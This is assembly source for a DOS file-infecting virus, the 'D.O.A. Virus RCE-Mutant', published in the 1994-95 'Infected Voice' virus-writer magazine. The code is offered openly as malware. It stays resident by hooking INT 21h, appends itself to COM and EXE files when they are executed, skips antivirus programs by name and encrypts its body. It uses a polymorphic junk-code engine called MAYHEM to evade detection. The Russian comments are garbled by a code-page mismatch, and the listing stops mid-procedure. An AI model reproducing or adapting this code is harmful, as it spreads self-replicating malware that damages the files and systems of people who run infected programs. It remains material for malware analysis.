; INFECTED VOICE 7. (C)1994-95, by STEALTH group WorldWide. ; Mail us: Box 10, Kiev-148, fUcKRAINE ; ;旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 ;� THE D.O.A. VIRUS RCE-Mutant � EXCLUSIVE FOR THE "INFECTED VOICE". ;� Using MAYHEM v1.1. � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 ; CONSTANTS AND MACROS SMOV MACRO dst,src ; PUSH src \ POP dst IFIDN ,<&FS> PUSHF ELSE PUSH SRC ENDIF IFIDN ,<&FS> POPF ELSE POP DST ENDIF ENDM SES MACRO dst,src ; MOV dst,src \ MOV dst+2,ES MOV DST,SRC MOV DST&[+2],ES ENDM SDS MACRO dst,src ; DS MOV DST,SRC MOV DST&[+2],DS ENDM SCS MACRO dst,src ; CS MOV DST,SRC MOV DST&[+2],CS ENDM CLT MACRO ; Clear Trace Flag PUSH AX SMOV AX,FS AND AH,0FEH SMOV FS,AX POP AX ENDM STT MACRO ; Set Trace Flag PUSH AX SMOV AX,FS OR AH,01 SMOV FS,AX POP AX ENDM MOVA MACRO dst,src MOV AX,src MOV dst,AX ENDM PUSHALL MACRO PUSH AX CX DX BX BP SI DI DS ES ENDM POPALL MACRO POP ES DS DI SI BP BX DX CX AX ENDM @PUSHF EQU 9Ch ; 뜢ぎ獸贍� ぎК젺ㅻ �昔璵遜��� @POPF EQU 9Dh @IRET EQU 0CFH @PFX_CS EQU 2Eh @MOV_DL EQU 0B2H PSPMemTop EQU 0002 ; 궏殲Þ� ㄾ飡承��� 캙э殊 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; LOCAL CONSTANTS AND MACROS VIRPARAS EQU 200h ; 8뒦- �젳Д� 쭬�汀�� ˘說貰� 캙э殊 STACKLEN EQU 100h ; �誓ㄿ�쳽짛β碎 ㄻ� 飡ⅹ� �黍 �昔´夕� COM 췅 >64� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .MODEL TINY .CODE ORG 100H START0: JMP INIT ; JMP 췅 ˘說� START: CALL $+3 ; 렞誓ㄵエ� 細ι���� 췅�젷� ˘說�� POP SI SUB SI,3 MOV CS:[SI][SISAVE-START],SI MOV AX,0F0EBh ; 끷筍 エ щ � 캙э殊 ? INT 21H AFTERCHECK: ; 궙㎖�졻 灑쩆 獸レぎ, αエ ˘說�� �β � ; 캙э殊. 댂좂� IRET �� 0F0EBh ��誓ħβ ; 췅 CUREINRAM ; 룼�젮첓 � 캙э筍: 앪젽 1. ; 룯誓��歲� 收ギ 쭬 3000h ㄾ MemTop - �젹 ⅲ� �Ø獸 �� 쭬循β ; 겓�� �� �琉�ワ��. MOV AX,DS:[PSPMemTop] SUB AX,0300H ; 룯誓罌졻猶젰� 젮誓� 쭬´殲��⑨ � PSP ; ㄻ� ™�昔． 將젽� Þ飡젷ワ與�. LES BX,DWORD PTR DS:[000AH] SES CS:[SI][OLD22-START],BX MOV WORD PTR DS:[000AH],MY22-START MOV DS:[000CH],AX PUSH DS ; ��誓��歲� 收ギ SMOV DS,CS MOV ES,AX XOR DI,DI PUSH SI MOV CX,(INIT-START)/2 CLD REP MOVSW POP SI DS ; 꺇獸˘� 飡ⅹ ㄻ� RETF PUSH CS MOV AX,OFFSET CUREINRAM-START ADD AX,SI ; �ㅰα CUREINRAM PUSH AX RETF MY22: ; 뤲�｀젹쵟 쭬´殲Œ졹�. 뚮 ��ャ葉エ 承�젪ゥ���. MOV AH,48H ; 롡｀留젰� 8 Kb. MOV BX,0201H INT 21H ; 뫇昔�� 췅飡�玎ⓨ 昔ㄸ收ゥ� 췅蜈． bastard'a. ; 뮙��閃 캙캙 "㎜ギ獸． 誓‥�첓" - MS-DOS. 렚 Мョⓥ. ; 뀶� 飡琉�� �� 將�� 쩆┘ 췅 첓設� 캙э殊 췅�ⓤ졻�! PUSH AX MOV AH,52H INT 21H MOV BX,ES:[BX-2] ; 룯舒硫 MCB INC BX POP AX MOV ES,AX DEC AX MOV DS,AX MOV WORD PTR DS:[0001],BX ; 궖젮�ゥ� ˘說�� - ∥�� � MCB No.1 SMOV DS,CS ; 뜝 ��飡�輾�莘 あ졷殊說 - � 쭬ぎ��� ; �琉�ゥ��硫 ∥��. � ´�젹�. XOR SI,SI XOR DI,DI MOV CX,(INIT-START)/2+2 CLD REP MOVSW ; ��誓��歲п�... ; 룯誓罌졻猶젰� INT 21h. 뜢 ㄵ쳽⒱� ; �젶. 뗣預� 循졹歲昔˚� � 召쳽⒰Þ�. XOR AX,AX MOV DS,AX PUSH DS LDS AX,DWORD PTR DS:[21H*4] MOV ES:[OLDINT21-START],AX MOV ES:[OLDINT21+2-START],DS POP DS MOV WORD PTR DS:[21H*4],OFFSET VIR21-START MOV DS:[21H*4+2],ES DB 0EAH ; 췅 �黍（췅レ�硫 �□젩�洵Ø INT 22h OLD22 DW ?,? CUREINRAM: ; 궓說� ㏇� 誠�쳽�. 궙遜�젺�˘� �昔｀젹с ; � ��誓쩆ㄸ� ⅸ 承�젪ゥ���. SISAVE EQU $+1 MOV SI,0000 ; �ㅰα 췅�젷� ˘說�� - 細.� 췅�젷� SMOV ES,DS DIRECTOR: JMP SHORT CUREASCOM ; 궗α獸 氏젫�� � �昔´昔� �黍 쭬�젲��Ŀ ; Д�畑� ����젺� JMP'� - 췅 ¡遜�젺�˙���� ; EXE Œ� ┘ COM. CUREASCOM: ; ¡㎖�졻 3-� 줎⒱ CLD MOV DI,0100H MOV AX,CS:[SI][ORIG_3-START] STOSW MOV AL,CS:[SI][ORIG_3+2-START] STOSB XOR AX,AX ; PUSH AX ; 뮙��閃 췅� �� 쭬‘殊�, �젪�� エ SP 0FFFEh ; 뜝´齧� � 飡ⅹ� ▲ㄵ� 0, 譽� � �拾�� COM. INC AH JMP AX ; 꺇獸¡! ORIG_3 DB 90H,0CDH,20H ; 걽⒱Ø� 췅飡�玎ⅲ� 췅�젷� CUREASEXE: ; 궙遜�젺젪エ쥯�� CS:IP � SS:SP ㄻ� EXE MOV AX,DS ADD AX,10H ; 0000:0000=(PSP+10):0000 ADD CS:[SI][OldCS-START],AX ; 췅飡昔ø� CS,SS ADD CS:[SI][OldSS-START],AX CLI JMP SHORT $+2 ; ㄻ� 聖昔�� ぎ�´ı�� (�.�. Д�畑� ぎК젺- ; ㅻ � �誓ㄵ쳽� 16 줎⒱) OLDSP EQU $+1 MOV SP,0000 OLDSS EQU $+1 MOV AX,0000 MOV SS,AX STI db 0EAh ; ��誓若� 췅 EntryPoint EXE-鈺Ø� OLDIP dw 0000 OLDCS dw 0000 ; 럞��걥뮉닁 INT 21h ----------------------------------------------- VIR21: ; ��殊循졹歲昔¡嶺硫 �黍�� AVPTSR'�. 룼飡젪ⓥ� 灑쩆 ; ⅲ� ゥｇ�, 曄� ぎс-獸 ��獸� �▼�ㄸ筍. PUSH AX PUSHF POP AX TEST AH,01 POP AX JZ NO_TRACE STC ; 끷エ 循졹歲說荻, 獸 蓀젳� IRET RETF 0002 NO_TRACE: XCHG AX,BX ; 꽞� ヮ〃收ゥ� 細�循β� 췅 "CMP AX,4B00h" ADD BH,01DH CMP BX,00DEBH ; ...� 췅 ˘說說瑜 押�ゆĿ (0F0EBh) �昔´夕� 醒∽ JNE NXTFNC POP AX ; 겈� ��誓�젮え ゥ殊� 췅 CureInRAM. ADD AX,CUREINRAM-AFTERCHECK PUSH AX IRET NXTFNC: CMP BX,4B00H+1D00H JE EXECIT SUB BH,1DH XCHG AX,BX JMP JMPOLDDOS EXECIT: ; ---------- 렊�젩�洙� 押�ゆĿ Exec (4B00h) SUB BH,1DH XCHG AX,BX PUSHALL ; 뤲�´夕� ㄾ飡承� � �젵ャ PUSH DX SI DS ES SMOV ES,CS MOV SI,DX ; 룼ャ葉筍 ▲あ� ㄸ稅� XOR DH,DH MOV DL,DS:[SI] AND DL,0DFH ; UpperCase SUB DL,41H MOV CS:[CURRDISK-START],DL POP ES DS SI DX ENDTESTACCESS: ; 뜢 循��� ．˛� - ¡�汀� �� ▲ㄵ�. PUSH AX CX ES SMOV ES,DS MOV DI,DX ; 뜝若ㄸ� º� �젵쳽 �� PATHNAME MOV CL,0FFH XOR AL,AL REPNE SCASB STD MOV AL,'\' REPNE SCASB CLD MOV AX,ES:[DI][0002] POP ES CX CMP AX,'EW' ; WEB JE TABOOIS CMP AX,'DA' ; ADinf JE TABOOIS CMP AX,'IA' ; AIdstest ��М邀硫 JE TABOOIS CMP AX,'OC' ; COMMAND.COM ���黍．ㄵ� ㄻ� ���젮え � �ⅲ� JE TABOOIS ; � 캙э筍 CMP AX,'RD' ; DRweb 栒．ㅳЛ硫, ㄵ｀젮ⓣ莘蟯� � Aidstest JE TABOOIS CMP AX,'VA' ; AVP. 벀졹�� Дㄻ���硫 WEB��□젳�硫 JE TABOOIS CMP AX,'BT' ; TBAV: 룳ℓ勝-｀�М´逝ζ. 씊黍飡Ø�-�젫. JE TABOOIS CMP AX,'HC' ; CHkdsk �昔飡� ˘說β 췅＋愼�. 뜢 循�짛⒱�. TABOOIS: POP AX JNE ENDTABOO JMP EXECEXIT ENDTABOO: ; 롡む猶젰� �젵� ㄻ� 譽��⑨ MOV AX,3D00H CALL CALLDOS JNC MMM1 JMP CLOSEPOPEXIT MMM1: CMP BYTE PTR CS:[CURRDISK-START],2 JNB PROTABS PUSH AX CX DX ; 뤲�´涉�� �誓㎘舒졻Ð 췅 ㄸ稅β�. MOV DX,3F5H MOV AL,4 OUT DX,AL MOV CX,400H LOOP $ MOV AL,4 OUT DX,AL MOV CH,4 LOOP $ IN AL,DX TEST AL,40H POP DX CX AX JZ PROTABS ; ZF=꽙稅β� ‥� �誓㎘舒졻Ð�. 꾠玉젺 첓渽! JMP CLOSEPOPEXIT PROTABS: XCHG AX,BX SMOV DS,CS PUSH BX ES DI ; 뫊��º 誓┬� �洙贍殊� 曄誓� SFT MOV AX,1220H PUSH AX INT 2FH MOV BL,ES:[DI] POP AX SUB AL,0AH INT 2FH MOV WORD PTR ES:[DI][0002],0002 MOV AX,ES:[DI][0Dh] ; 貰魚젺º 쩆栒 � №�э �젵쳽 MOV CS:[FTIME-START],AX MOV AX,ES:[DI][0Fh] MOV CS:[FDATE-START],AX POP DI ES BX � SelfInfTest: ; �젹��昔´夕� 췅 쭬�젲����飡� MOV AX,4202h MOV CX,-1 MOV DX,-3 CALL CALLDOS MOV AH,3Fh ; 葉�젰� 3 줎⒱� � ぎ�璵 MOV CX,0003 PUSH CX MOV DX,ORIGINAL-START CALL CALLDOS POP CX JC TEE CMP AX,CX JNZ TEE CMP CS:[ORIGINAL-START],'OD' ; DOA � ぎ�璵 �젵쳽 JE TEE � EndInfTest: SetDirector: MOV BYTE PTR DS:[DIRECTOR+1-START],00 ; "JMP CUREASCOM" GetOriginal: CALL FSEEK0 MOV AH,3FH ; 譽���� 쭬．ギ˚� �젵쳽 MOV CX,18H PUSH CX MOV DX,ORIGINAL-START CALL CALLDOS XCHG DX,SI POP CX JC TEE SUB CX,AX JZ WHATTYPE TEE: JMP EXECEXIT WHATTYPE: ; EXE Œ� �β (COM) ? CMP [SI],'ZM' JE EXEisIT CMP [SI],'MZ' JE EXEISIT 栢� COMISIT: ; �□젩�洙� COM MOV DX,DS:[ORIGINAL-START] ; 貰魚젺ⓥ� 3 ��舒音 줎⒱� MOV DS:[ORIG_3-START],DX MOV DL,DS:[ORIGINAL-START+2] MOV DS:[ORIG_3+2-START],DL CALL FSEEK2 LENTEST: MOV DS:[JMPERARG-START],AX ; �� ぎ昔曄 聲�ⅲ� �젳Д�� CMP AX,ENDALL-START JB TEE3 mmm323: add ax,100h ; �� ㄻÞ�ⅴ... MOV DS:[VARSRC-START],AX ; EntryPoint ��¡． 咨㎘Н�.(ㄻ� MAYHEM) ADD AX,ENDALL-START+STACKLEN ; ... 64K-묅ⅹ-뮙ギ JC TEE3 ADD WORD PTR DS:[JmpERarg-Start],Init-Start-3 ; JMP 췅 收ギ CALL WRITETAIL JC TEE3 call FSeek0 ; �②�� ��¡� 췅�젷� mov ah,40h mov cx,3 push cx mov dx,offset JmpER-Start CALL CALLDOS pop cx jc tEE3 JMP NEWGENERATION TEE3: JMP EXECEXIT ;---- 栢� EXEisIT: ; 렊�젩�洙� EXE鈺Ø��. IsWinEXE: ; � �� 兒設�囹Þ エ 將� "���硫 ε�"? ; 앪� �� ��젪Œ�, �� �� 細ι��⑧ 0400h � �ⓨ "NE" push si mov ax,4200h xor cx,cx mov dx,0400h call CallDOS mov ah,3Fh mov cx,0002 mov dx,Offs400-Start call CallDOS jnc m232 pop si jmp WinTstExit m232: xchg dx,si cmp [si],'EN' pop si je tEE4 ; ExecExit WinTstExit: SaveHDR: ; ㄻ� ¡遜�젺�˙��⑨ 貰魚젺º CS:IP,SS:SP mov ax,[si+0Eh] mov ds:[OldSS-Start],ax mov ax,[si+10h] mov ds:[OldSP-Start],ax mov ax,[si+14h] mov ds:[OldIP-Start],ax mov ax,[si+16h] mov ds:[OldCS-Start],ax NewEP: call FSeek2 ; 궙㎖�졻: DX:AX=ㄻÞ� �젵쳽 push ax ; ��ャ�젰� 葉笹� 512�. ∥�ぎ� �� ㄻÞ� �젵쳽 push dx div word ptr ds:[MUL200-Start] or dx,dx jz NoInc inc ax NoInc: cmp ax,[si+4] ; 蓀젪�Ð젰� 葉笹� ∥�ぎ� � 쭬．ギ¡嶺臾 pop dx pop ax ja tEE4 ; 췅 �젹�� ㄵゥ ‘レ蜈- �젵� 醒，��殊昔쥯��硫, ; �黍 쭬�젲��Ŀ ▲ㄵ� ⓤ��暹�� - �� 循�짛��. GoodEXE: ; 룼ㅵ�ㅿ蟯� �젵�. DIV WORD PTR DS:[MUL10-START] ; 룧�젫�졽�� � �젵ゥ SUB AX,[SI+08] ; Ж�信 캙�젫�졽�� 쭬．ギ˚� MOV DS:[VARSRC-START],DX ; 뫌魚젺º ㄻ� MAYHEM: 췅�젷� ADD DX,INIT-START ; + 細ι. 췅�젷� �졹鼇菴��蟯첓 MOV [SI+14H],DX ; IP ADD DX,ENDALL-INIT+2048d mov [si+10h],dx ; SP mov [si+16h],ax ; CS add ax,100h ; ThunderByte 쭬Д�젰� SS=CS. mov [si+0Eh],ax ; SS SetDirectorEXE: MOV BYTE PTR DS:[DIRECTOR+1-START],CUREASEXE-DIRECTOR-2 ; CureAsEXE call WriteTail ; 鼇菴濕� � �②�� 罌�飡 jnc SETSIZE tEE4: jmp ExecExit SETSIZE: ; ��-쭬 ��誓Д���． Þ飡젷ワ獸�� �㎚��Œ碎 �젳Д� ; 췅ㄾ ��ㄺ�薛ⅹ殊昔쥯筍 쭬．ギ¡� CALL FSEEK2 ; 쭬��歲� 誓젷彛莘 ㄻÞ� � 쭬．ギ¡� DIV WORD PTR DS:[MUL200-START] OR DX,DX JZ NOINCNOW INC AX NOINCNOW: MOV SI,OFFSET ORIGINAL-START MOV DS:[SI+4],AX MOV DS:[SI+2],DX WriteHea: ; �②�� 쭬．ギ¡� CALL FSeek0 MOV AH,40h MOV DX,ORIGINAL-START MOV CX,0018H CALL CALLDOS NEWGENERATION: INC WORD PTR DS:[GENCNT-START] ; 淞β葉� ��ぎゥ�Ł 栢� ExecExit: ; №�э � 쩆栒 - 췅쭬� mov ax,5701h FDATE EQU $+1 MOV DX,0000 FTIME EQU $+1 MOV CX,0000 CALL CALLDOS CLOSEPOPEXIT: mov ah,3Eh CALL CALLDOS OnlyPOP: POPALL JMP JMPOLDDOS JmpER db 0E9h JmpERarg dw 0000 JMPOLDDOS: db 0EAh OldInt21 dw 0000 dw 0000 MUL200 dw 0200h MUL10 dw 0010h GenCnt dw 0001 � WRITETAIL: ; 鼇菴�쥯��� ˘說�� � ㄾ�ⓤ� 收쳽 � �젵ャ CALL CRYPTMASTER ; 鼇菴濕� MOV ES:[DI],'OD' ; �黍㎛젶 쭬�젲����飡� MOV BYTE PTR ES:[DI+2],'A' ADD DI,3 SUB DI,(OFFSET BODYPREPARE-START) PUSH DI CALL FSEEK2 ; ㄾ�ⓤ猶젰� ˘說� � �젵ャ POP CX MOV AH,40H MOV DX,BODYPREPARE-START CALL CALLDOS MOV AH,68H ; Flush buffers ㄻ� 췅若┐��⑨ 뜋굨� ㄻÞ� CALL CALLDOS ; �젵쳽 �� FSeek (4202h) RETN � FSeek2: mov ax,4202h jmp short Zero0110 � FSeek0: mov ax,4200h � Zero0110: xor cx,cx xor dx,dx 栢� CALLDOS: pushf call dword ptr CS:[offset OldInt21-Start] retn ;---------------------------------------------------------------------- CRYPTMASTER: PUSH BX ; File Handle SMOV ES,DS XOR SI,SI MOV DI,OFFSET BODYPREPARE-START MOV CX,(OFFSET INIT-START)/2 CLD REP MOVSW CALL RNDW ; か蹟 ㄻ� XOR MOV DS:[VARXOR-START],DX ; 꽞� MAYHEM PUSH DX CALL RNDW MOV AX,DX POP DX MOV DS:[VARDIS-START],AX MOV SI,BODYPREPARE-START ; 鼇菴濕� �� XOR MOV CX,(Init-Start)/2 mXOR: XOR [SI],DX ADD DX,AX INC SI INC SI LOOP mXOR ;----------------------------------- 뤲ª�獸˙��⑨ � 쭬�信ゃ MAYHEM --------- RunMayhem: ; 뇿�α�� � 飡ⅹ 젮誓� ㄻ� ¡㎖�졻� �� MAYHEM PUSH DS:[VARSRC-START] POP DS:[VARRETF-START] PUSH CS MOV AX,AFTERMAYHEM-START PUSH AX ; 뇿�α�� � 飡ⅹ 젮誓� ㄻ� ��誓若쩆 � MAYHEM MOV AX,DS ADD AX,(MAYHEM-START)/10h ; ㏇ⅲ쩆 �乙�˛�췅 췅 캙�젫�졽 MOV DS,AX ; 믞ⅰ濕恂�: DS=CS PUSH AX ; 묅졷�: CS:0000 XOR AX,AX PUSH AX MOV DI,THEENDATALL-START ; 뙠飡� 췅㎛좂��⑨ MOV CS:[DSTADDR-START],DI ; 꽞� MAYHEM RETF ; �留�� MAYHEM AfterMayhem: SMOV DS,CS ; �音�� �� MAYHEM POP BX ; FileHandle- 貰魚젺�� � 췅�젷� �昔�. RETN ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 뤲�璵ㅳ贍 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 RNDW PROC ; 맓㎯レ�졻: DX=RND(0..FFFF) IN AL,40H MOV DH,AL IN AL,40H MOV DL,AL RETN RNDW ENDP ;============================================================================ ;------ 뒶�飡젺瞬 ㄻ� MAYHEM ------------------------------------------------ RECSIZE equ 8 ; TABLE RECORD STRUCTURE ADDRESS equ 0 PLACE equ 2 DISTANCE equ 3 REALPLACE equ 4 R_GROUP equ 5 OPERAND equ 6 R_AX equ 0 ; REGISTER NUMBERS AS IN INSTRUCTIONS R_CX equ 1 R_DX equ 2 R_BX equ 3 R_SP equ 4 R_BP equ 5 R_SI equ 6 R_DI equ 7 HOLLOW DB 16-((HOLLOW-START) MOD 16) DUP(90h) ; 귣�젪�Ð젺�� ㄾ 캙�젫�졽� ; --------------------------------- ; 뭿뿂� 굲럡� ; ------------------------ ; CS=DS, ES:DI=Destination ; IP=0. MAYHEM: PUSH DI ; �ㅰα 췅㎛좂��⑨ MOV BYTE PTR DS:[R_USED-MAYHEM],00010000B ; 댾か蹟젰� SP ;----------------------------------------- 뜝若ㄸ� 誓（飡贍 ㄻ� ｀承� MOV SI,R_MASK-MAYHEM ; �ㅰα 쵟貰� ㄻ� ｀承� MOV DI,R_GRP -MAYHEM ; 맓㎯レ�졻 C1: CMP BYTE PTR [SI],00 ; 뒶�ζ 쵟貰� ? JZ ENDFORM ; 뜮Д� 誓（飡�� MOV DL,7 ; RND(0..7) CALL RND MOV CL,DL ; 뤲ⅳ飡젪º � ˘ㄵ 〃�� MOV AL,1 SHL AL,CL TSTUSED: TEST BYTE PTR DS:[R_USED-MAYHEM],AL ; 뜢 쭬�汀 ㅰ膝º� ? JZ SUITTST TSTROL: ; 롡 RND �拾��． 飡� ゥ� INC DL ; �� ㄾ┐θ藺�. 겈誓� 笹ⅳ�- ROL AL,1 ; 迹Ł �� 淞β� 誓（飡� �... CMP DL,8 JB TSTUSED XOR DL,DL ; ㄾ獄� ㄾ む좑 � - 說좂젷� JMP TSTUSED ; ��ㅰ젳僧ⅱ젰恂�, 譽� �ㄸ� ; 聲�‘ㄽ硫 ㏇�-�젶� ▲ㄵ� SUITTST: TEST BYTE PTR [SI],AL ; 뜥ぅ� �� 쭬�汀. � 췅� �� JZ TSTROL ; �拾�� �젶�� ? MOV DS:[DI],DL ; 뜝獄� 誓（飡� ㄻ� ｀承�� OR DS:[R_USED-MAYHEM],AL ; ��Д�젰� 첓� 쭬�汀硫 INC DI INC SI JMP C1 ; ㄻ� 笹ⅳ莘耀� ｀承��... ENDFORM: ;------------------------------------ 뒥┐�с command'� - 聲�� (Д飡�) MOV SI,MUTAB-MAYHEM ; 꽑쭬 줎��音, ＄� 캙黍恂� MAYHEM ; 稅젺ⓣ濕� 쭬�ⓤ� 쭬 쭬�ⓤ溢 C2: MOV DL,[SI][DISTANCE] ; ��ゥ "�젳□�� ��Д�� ��㎤與�" CALL RND ; 뒶К젺쩆 �恂獸ⓥ 췅 RND(0..Dist) ADD DL,[SI][PLACE] ; ...�� 聲�ⅲ� Д飡� MOV [SI][REALPLACE],DL ; ��㎤與� ぎК. � 兒席ⓣ濕М� ぎㄵ ADD SI,RECSIZE ; 笹ⅳ莘�좑 쭬�ⓤ� CMP WORD PTR [SI],0000 ; ぎ�ζ 쭬�ⓤⅸ ? JNZ C2 ;-------------------------------- 뤲ª�獸˙��⑨ 쭬ぎ�曄��. 뮙��閃 ; 貰‥誓� ㏇� � 獸＄� 췅嶺β碎 mayhem! POP DI ; も� 쭬〓� ES:DI = 뙠飡츒젳췅曄�⑨ MOV AL,-1 ; 묊β葉� ��㎤與� NXTNMB: INC AL ; 뫉ⅳ莘�좑 ��㎤與� CMP AL,(ENDMUTAB-MUTAB)/RECSIZE-1 ; 귗� ��㎤與� �젳Д耀�� ? JA EXITALLOC ; 뫇젺ⓣ濕� 줎㎯ 췅 �誓ㄼβ ぎК젺� � MOV SI,MUTAB-RECSIZE-MAYHEM ; ��㎤與ⅸ REALPLACE=AL NXTELEM: ADD SI,RECSIZE ; 笹ⅳ. 쭬�ⓤ� CMP WORD PTR [SI],0000 JE NXTNMB ; ぎ�ζ 줎㏓? CMP [SI][REALPLACE],AL ; 貰¿젷� ��㎤與� ? JNE NXTELEM ; 꼶��굥웷� 뒑뙆�뛾� + с貰� PUSH AX CALL DS:[SI] ; 젮誓� �昔璵ㅳ贍 ㄻ� ��뜊럦 ぎК젺ㅻ CALL TRASHCHAIN ; ％��黍說�� 璵��囹� с貰�� POP AX JMP NXTELEM EXITALLOC: JMP MAYHEM_OFF ;---------------------------------------------------------------------------- ;--------------------------------------- 뫉拾ⅰ�瑜 �昔璵ㅳ贍 MAYHEM ------- RND PROC ; DL= RND (0..DL) 룼ャ葉筍 笹晨젵�硫 줎⒱ ; 렊�乘畑� DH 췅 �音�ㄵ. PUSH AX CX BX OR DL,DL ; RND(0..0)=0 JZ EXRND INC DL ; ㄻ� 0FFh �� 췅ㄾ +1 JNZ OKK DEC DL OKK: MOV AX,0100H ; �젳Д� ⅳÞ①��． �循ⅶ첓 DIV DL NOT AH XCHG AL,DL IN AL,40H CMP AL,AH ; 끷エ RND ‘レ蜈, 曄� 뀮롡�*궏齧꺺젺, JBE OKK1 ; 獸 �□ⅶ젰� ㄾ E짵循*궏齧꺺젺 MOV AL,AH OKK1: XOR AH,AH ; 꽖エ� ��ャ曄��硫 RND-줎⒱ 췅 뀮Þ①�.롡誓㎜� DIV DL MOV DL,AL XOR DH,DH EXRND: POP BX CX AX RETN RND ENDP ;--------------------------------------------------------------------------- TRASH PROC ; 꽡줎˙畑� � 璵��囹� 笹晨젵�莘 ぎК젺ㅳ ; 룼 R_USED ��誓ㄵワβ �ⅶ젺汀瑜 誓（飡贍 ; ES:DI=Д飡� 췅㎛좂��⑨ PUSH AX SI ; ��ャ葉� 젮誓� �ㄽ�� �� �젩エ� 笹�- ; �젵�音 ぎК젺� �� T_CHAIN MOV SI,T_CHAIN-MAYHEM MOV DL,(END_T_CHAIN-T_CHAIN)/2-1 ; RND ��Д� 姉�Д��� T_CHAIN CALL RND SHL DL,1 ; *2_걽⒱� ADD SI,DX ; [SI] 눃α� 젮誓� �ㄽ�� �� �젩エ� MOV SI,[SI] ; 궙� �� ; 겈誓� 笹晨젵�莘 ぎК젺ㅳ �� �濡�젺��� ; �젩エ劣. 뮔∥ⓩ� ºⅴ� 쭬．ギ¡�: ; ぎ�-¡ ぎК젺� (CMDNUMB), �젳Д� ぎК젺ㅻ ; � �젩エ璵(CMDSIZE) � CMDSTAT -줎⒱ 飡졻信� MOV DL,[si][CMDNUMB] call RND mov al,[si][CMDSIZE] mul dl mov cl,[si][CMDSTAT] add si,ax ; SI=�ㅰα 췅ħ����� 췅Ж ぎК젺ㅻ ; CL=줎⒱ 飡졻信� ぎК젺ㅻ add si,3 ; SI=SI+3 (쭬．ギ¡� �젩エ劣) ; 뮙��閃 飡昔º 笹晨젵�莘 ぎК젺ㅳ 췅 �說�쥯- ; �Ŀ 줎⒱� 飡졻信� ぎК젺� 將�� �젩エ劣 test cl,CMD ; 뒶К젺쩆 췅葉췅β碎 � ��飡�輾��． 줎⒱� ? jz end_cmd CLD ; 꽡줎˙畑� � 璵��囹� 줎⒱ �� DS:[SI] MOVSB end_cmd: test cl,CMDPLUS ; 꽡줎˘筍 줎⒱ + ��Д� 誓（飡�� ? jz end_cmdplus mov dl,7 call RND ; 룼ャ�젰� ��Д� 誓（飡�� � �昔´涉�� ⅲ� 췅 test cl,REGCHNG ; 쭬�汀�飡�... jz end_suitreg push cx mov cl,dl mov al,1 shl al,cl cont_tst: test ds:[offset R_USED-MAYHEM],AL jz pop_end_suitreg inc dl rol al,1 cmp dl,8 jb cont_tst xor dl,dl jmp cont_tst pop_end_suitreg: pop cx end_suitreg: TEST CL,PLUS8 ; 띲┃� エ ��Д� 誓（飡�� Л�┬筍 췅 8 ? JZ ADD1 ADD8: PUSH AX MOV AL,8 MUL DL MOV DL,AL POP AX ADD1: add dl,[si] mov es:[di],dl inc di end_cmdplus: test cl,RNDNUMB ; 띲┃� エ ぎК젺ㄵ 笹晨젵��� 笹�¡ ? jz end_addrnd mov dl,0FFh call RND mov al,dl mov dl,0FFh call RND mov dh,al mov es:[di],dx inc di inc di end_addrnd: pop si ax retn ;------------------------------------------------------------------- t_chain dw offset TAB0-MAYHEM ; �ㅰα� �젩エ� RND ぎК젺� dw offset TAB1-MAYHEM dw offset TAB2-MAYHEM dw offset TAB3-MAYHEM dw offset TAB4-MAYHEM dw offset TAB5-MAYHEM end_t_chain dw 0000 ;------------------------------------------------------------------- ;뒶�飡젺瞬: CMDHDR equ 3 ; 꽞Þ� 쭬．ギ˚� �젩エ劣 ; 뫊ι��⑨ ��ゥ� �젩エ劣 CMDNUMB equ 0 ; 뒶エ曄飡¡ ぎК젺� CMDSIZE equ 1 ; 맆㎚�� ぎК젺ㅻ � �젩エ璵 CMDSTAT equ 2 ; 걽⒱ 飡졻信� ; 뵰席졻 줎⒱� 飡졻信�: CMD equ 00000001b ; CONST_BYTE CMDPLUS equ 00000010b ; CONST_BYTE + REG_NO PLUS8 EQU 00000100B ; CONST_BYTE + REG_NO*8 RNDNUMB equ 00001000b ; + RND_WORD REGCHNG equ 10000000b ; Д�畑� ㎛좂��⑨ 誓（飡昔� PFXSEG equ 01000000b ; М┃� ㄾ줎˙汀� �誓十め 醒，���� ;---------------- ��걢닑� 뒑뙆�뛾 ---------------- tab0 db (endtab0-cmds0)/01-1 ; ぎエ曄飡¡ ぎК젺� db 01 ; �젳Д� 姉�Д��� �젩エ劣 db CMD ; 줎⒱ 飡졻信� cmds0: ; �젹� ぎК젺ㅻ cld sti nop endtab0: ;------------------------------------------------- tab1 db (endtab1-cmds1)/01-1 db 01 db CMDPLUS+REGCHNG+PFXSEG cmds1: inc ax dec ax endtab1: ;------------------------------------------------- tab2 db (ENDTAB2-cmds2)/2-1 db 02 db CMD+CMDPLUS+REGCHNG+PFXSEG cmds2: neg ax not ax rol ax,1 ror ax,1 rcr ax,1 rcl ax,1 shl ax,1 shr ax,1 endtab2: ;------------------------------------------------- tab3 db (ENDTAB3-cmds3)/1-1 db 1 db CMDPLUS+RNDNUMB+REGCHNG+PFXSEG cmds3: db 0B8h ; mov ax endtab3: ;------------------------------------------------- tab4 db (ENDTAB4-cmds4)/2-1 db 2 db CMD+CMDPLUS+RNDNUMB+PFXSEG+REGCHNG cmds4: db 81h,0F0h ; xor reg,imm db 81h,0E8h ; sub reg,imm db 81h,0c0h ; add reg,imm db 81h,0e0h ; and reg,imm db 81h,0c8h ; or reg,imm db 81h,0d0h ; adc reg,imm db 81h,0d8h ; sbb reg,imm endtab4: ;------------------------------------------------- TAB5 DB (ENDTAB5-CMDS5)/2-1 DB 2 DB CMD+CMDPLUS+PLUS8+RNDNUMB+PFXSEG+REGCHNG CMDS5: DB 8BH,06H ; MOV REG,MEM DB 03H,06H ; ADD REG,MEM ENDTAB5: ;------------------------------------------------- ; PFXTAB DB 26h,2eh,36h,3eh ; �誓十め� 醒，��獸� TRASH ENDP ;----------------------------------------------------------------------- TRASHCHAIN PROC ; 꽡줎˙畑� � ぎㅳ 璵��囹� 笹晨젵�音 ぎК젺� 